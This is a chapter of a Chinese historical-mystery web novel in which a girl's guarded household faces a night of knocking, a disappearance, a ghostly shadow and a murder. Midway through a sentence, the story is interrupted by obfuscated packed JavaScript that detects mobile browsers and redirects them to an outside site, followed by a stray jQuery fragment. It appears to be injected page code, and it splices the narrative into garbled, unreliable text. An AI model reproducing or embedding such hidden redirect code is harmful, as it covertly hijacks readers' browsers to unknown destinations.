“戌时一更,天干物燥,小心火烛!”
贞杏按住宝音翻阅卷宗的手,暖声:“夜里看字伤眼,姑娘歇会儿。眼下才一更,不若奴婢陪姑娘摸会儿牌,聊作消闲,可好?”
宝音将宋家卷宗搁在膝上,怅声如叹:“我没想到,舅舅他们做过那么多伤天害理的事,甚至还打着祖父和二叔的旗号为非作歹。看卷宗上的一桩桩一件件,二叔从前替他们遮掩许多,想来总是为了我的缘故,他本是惩恶扬善之人,却因为我藏污纳垢,包庇恶人恶行。”
她目向映在格纹窗的婆娑树影:“等京都定了舅舅们的罪,二叔也必定会因包庇而受到圣上责罚的。”
坐在外间的小厮逢保嘻嘻笑道:“姑娘不必忧心。大人是何等人物,岂会故意将把柄递到别人跟前?大人必定是留了退路的。”
焦韦也道:“是了,大人心细如发,最多治个,嗯……治个治下不严之罪,姑娘不必担心。”
宝音仍沉在这件事里,两弯细眉蹙起,葱指攥着卷宗轴木,指节泛白。逢保和焦韦见她焦心模样,便说些笑话儿,逗宝音开怀。不过半炷香的时间,宝音与他二人已略有些熟悉了。此刻,逢保正说到自家一件趣事,惹得焦韦和贞杏捧腹大笑,宝音也掌不住,靠在贞杏怀里掩唇笑起来。
庭院猝然传来一阵急促的敲门声,“笃笃笃”撞破四人的连连欢笑。
“谁呀?”贞杏蹙了眉,“从来没人来的,大人今夜又不在,谁这么晚敲门?”
宝音等人走出正屋时,鱼应、鱼泉已站在朱门后,面面相觑不知如何是好。见宝音出来,鱼应近前,压低声音:“似乎是个女子。”
女子?宝音眉心皱得更紧。自她入住雀音阁以来,从无外人来过,更没有出现过这样急促的敲门声。
“开门啊!”门外,宋敏珠急切喊道,“我知道你在里头,崔宝音,你开门啊!”
宝音浑身一震,通身血液似乎顷刻间就凝住了:“宋敏珠……”
“你别装死!我知道你在里头!”宋敏珠尖着嗓子。
贞杏咬唇:“小姐,回去歇着吧。不必理会她,过一会子就走了。”
宋敏珠将门板拍得咚咚响,嘴里骂骂咧咧,连带着崔承戟也骂进去,似是想激宝音开门与她吵架。
宝音推开贞杏拦她的手,上前几步,提了倚在墙角的木桶,将桶里半数的水奋力朝门上一泼。
门缝里陡然喷水,浇了宋敏珠满脸满嘴。她愣了半瞬,反应过来后破口大骂:“崔宝音你个丧门星!”
又听见这词,泼天的委屈和怒意占据了宝音的整颗心,她掣住木桶的桶柄用力掷向门板。
下一瞬,宝音吼道:“丧门星的门你都要闯,你是什么呀!”
“你不是丧门星,那被扭送京都大理寺的人是谁阿耶!说不定那俩人就是被你克进大理寺诏狱的!”
她叉腰立于门后,眼泪夺眶而出:“我凭什么开门?这是我二叔给我置办的院子,你是谁?我凭什么给你开门?”
贞杏、鱼应等人一时间无不愣住,在他们印象中,宝音温顺乖巧,说话声音也细细的,今番是头一遭见宝音如此激动。只是没想到她不过硬气了两句话,泪又禁不住流下来了。
贞杏上前搂住宝音的肩,轻声安慰:“姑娘犯不着为她置气,她是什么样的人,姑娘又不是不知道。”
这些日子跟在宝音身边,雀音阁的人也大都知道了些宋家从前如何苛待宝音,更知道宋家那群豺狼虎豹中尤以宋敏珠母女最甚。
逢保、焦韦也是一叠声说好话地劝宝音回屋,逢保道:“鱼应大爷、鱼泉大爷在门口守着,莫说宋敏珠了,她就是变成只苍蝇,也飞不进来。进来了,也被两位鱼大爷拍死。”
宝音噗嗤一笑,那存在眼眶里的清泪被挤出来,顺着脸颊轻轻滑下。她扶着贞杏的手正要旋身回去,安静了一会儿的门外突然爆出一阵头撞木板的声音。
咚、咚、咚!
像不要命似的,宋敏珠不住地撞向朱门。
门内众人听得一阵心惊。
隔着窄窄的朱门缝隙,他们隐约瞧见那宋敏珠正跪在门前,一下一下地磕头,头顶撞上门板,发出沉沉的闷响。
随着这阵闷响的,是宋敏珠逐渐冷静又诡谲的声音:“对不住,宝音。从前做了许多事,我对不起你。求你开开门,开开门吧。求求你,宝音,阿姊求求你……”
夜风忽起,浓得化不开的沉云遮蔽弯月。宋敏珠声线凄惨,似从地府传来,如厉鬼搔住每个人的耳朵。
这下,院里的每个人都好奇了,门外究竟发生了什么?宋敏珠要进来干什么?
仍旧是宝音开口:“我为什么要给你开门?”
咚——!
宋敏珠重重撞在门槛上,她像被鬼魅掣住脖颈,艰难地从喉咙间溢出话:“有、有人追杀我……”
“我有,我有崔承戟想要的证据……”
“郑家私铸银锭的……证据……”
最后一句,她仿佛费了很大的劲才说出来。
这句话之后,她似失去魂灵,不停撞门,口中喃喃重复着:“开门……救我……开门……救我……”
悚惧瞬间爬满雀音阁每个人的身心,门外的还是人吗?倘若世上有鬼,此刻的宋敏珠更像是只厉鬼。
“啊!”又是一声凄厉惨叫。
宋敏珠尖声高喊:“崔宝音!你见死不救!你不得好死!”
“哈哈哈哈……崔承戟今晚死了,明日就轮到你!”
二叔死了?
宝音踉跄后退,贞杏也着了慌,想去开门一问究竟。
榕度以剑鞘拦住她:“她一个未出阁的女儿,如何得知大人的行踪。怕不是有诈,唬小姐开门!”
门外嘈杂响声震天,有男子低声怒斥:“快!抓住那个娼.妇!”脚步声如倾盆骤雨密密麻麻撞入院里。
几息之后,复归宁静。榕度从门缝往外瞧,见门外空无一人,而门槛处,缓缓淌出一线血流。
“他们走了。”他遮住这道血迹,不愿宝音看见,转身同院内所有人道,“方才的事实在蹊跷,宋敏珠一个闺阁女孩深夜叩门,又无故以头撞门,还有最后捉她的一干人,也甚是奇怪。今夜无论如何,皆不可开门,一切等大人回来再商议定夺。务必保护好宝音小姐。”
众人口中答应着,心里却不平静。
此时,几滴雨落在脸颊,宝音抬头望天,果真下起夜雨:“下雨了,大家回屋,早些歇息安寝吧。”
“是。”众人齐道。
贞杏扶着宝音的手,正要回去,忽然住了脚步,“咦”了一声道:“怎么不见屠苏?”
宝音也发现屠苏不在,故而问与他同睡东厢房的榕度:“屠苏已经睡了吗?”
榕度摇头:“不知道,我方才在鱼应屋里与他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279633|166773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
商量事,未见过屠苏,大抵是睡了。”他一壁说,一壁步向东厢房,掀起竹帘,屋内却空无一人。
“他不在屋里!”
雀音阁的门始终紧闭,屠苏去了哪里?
悚惧重新回到雀音阁。
方才宋敏珠的动静闹得很大,众人听她最后凄厉声音,无不心有余悸,此刻屠苏又不见了踪迹,恐怖像小虫开始咬啮每个人的心。
榕度率先冷静下来:“下雨了,不要在外头逗留。虽说屠苏不见了,但雀音阁的门从未开过,他必定还在阁内。他说不了话,指不定此刻在哪儿被绊住,等我们过去救他。”
他扫视一圈,见私卫鱼应、鱼泉、谢伦、班灯,小厮逢保、焦韦立在眼前,沉思一瞬,道:“这样,鱼应、鱼泉各一组,班灯和逢保、谢伦和焦韦各为一组,搜查雀音阁,找出屠苏。我、贞杏陪小姐守在正屋,有什么事,及时来告知小姐。”
鱼应等人应下,各自分了地点去寻屠苏。榕度持剑跟在宝音和贞杏身后,低声:“今夜的事,当真是蹊跷。”
宝音也是心惊胆寒:“是了。自我住来此间后,从未外出过。宋敏珠如何认得此处?她又如何手握郑家把柄?还有她最后那几句话的声音,不像人说的,倒像是、倒像是……”
“倒像是鬼!”贞杏搂着宝音的手臂,警惕地环视四周。
榕度蹙眉:“世上本无鬼,不过是有人装神弄鬼罢了。小姐放心,有我和鱼应他们在,万不会出事的。”
宝音虽点点头,可十二岁的女娘乍见此事,心下是驱不散的无限遐想与恐惧。她咬牙:“榕度,今夜实在太多怪事,连这雨也怪得很。我心中不安,不管是人是鬼,他们在二叔离开的时候现身,那二叔的卷宗奏折就不能那样明晃晃地放在妆台上。”
榕度抬眸:“小姐的意思是?”
宝音思索片刻,抿唇道:“将其中直接有关银锭案的卷宗藏于房梁之上,奏折粘于床板下,其余的依旧放在桌上,如何?”
榕度点头。
三人齐心拣出靖州有关卷宗奏折,依宝音所言藏好,妆台上只剩下一摞无关紧要的卷宗折子。
此时,外头一阵翻箱倒柜之声,三人迅速警惕,屏息聆听之间,惊觉这声音不是雀音阁里发出的,竟像是从一品堂传来的。
面面相觑之际,西窗外忽闪过黑影,贞杏立时吓得尖叫。榕度迅速上前推开窗,可窗外除了逐渐势大的夜雨,什么也没有。
“没有人。”榕度转身,却见宝音和贞杏身后的月洞窗窗纸上,慢慢现出一个人形黑影。
榕度也是初见此等怪异景象,双目逐渐瞪圆,错愕地望着她二人身后,一时间喉咙像被人扼住,半句话说不出来。宝音和贞杏见他如此模样,顿觉背后爬满无数蛇蚁,似在啃噬肌肤。
她二人彼此搂着,颤巍巍转身,那黑影开口说话了:
“戌时一更,十人点灯。一人饮酒,一人失踪。”
说罢,黑影迅速消失。
榕度急按剑上前,破窗之后,又是空无一人。
三人皆是毛骨悚然。
贞杏声音发颤:“这……这是人还是鬼?”
榕度冷声:“必定是有人装神弄鬼,不必担忧,等寻到屠苏,我必将此人揪出来。”
只是,一波未平一波又起。
班灯忽然破门而入,眸中惊惧难以掩饰:“不好了!逢、逢保死了!”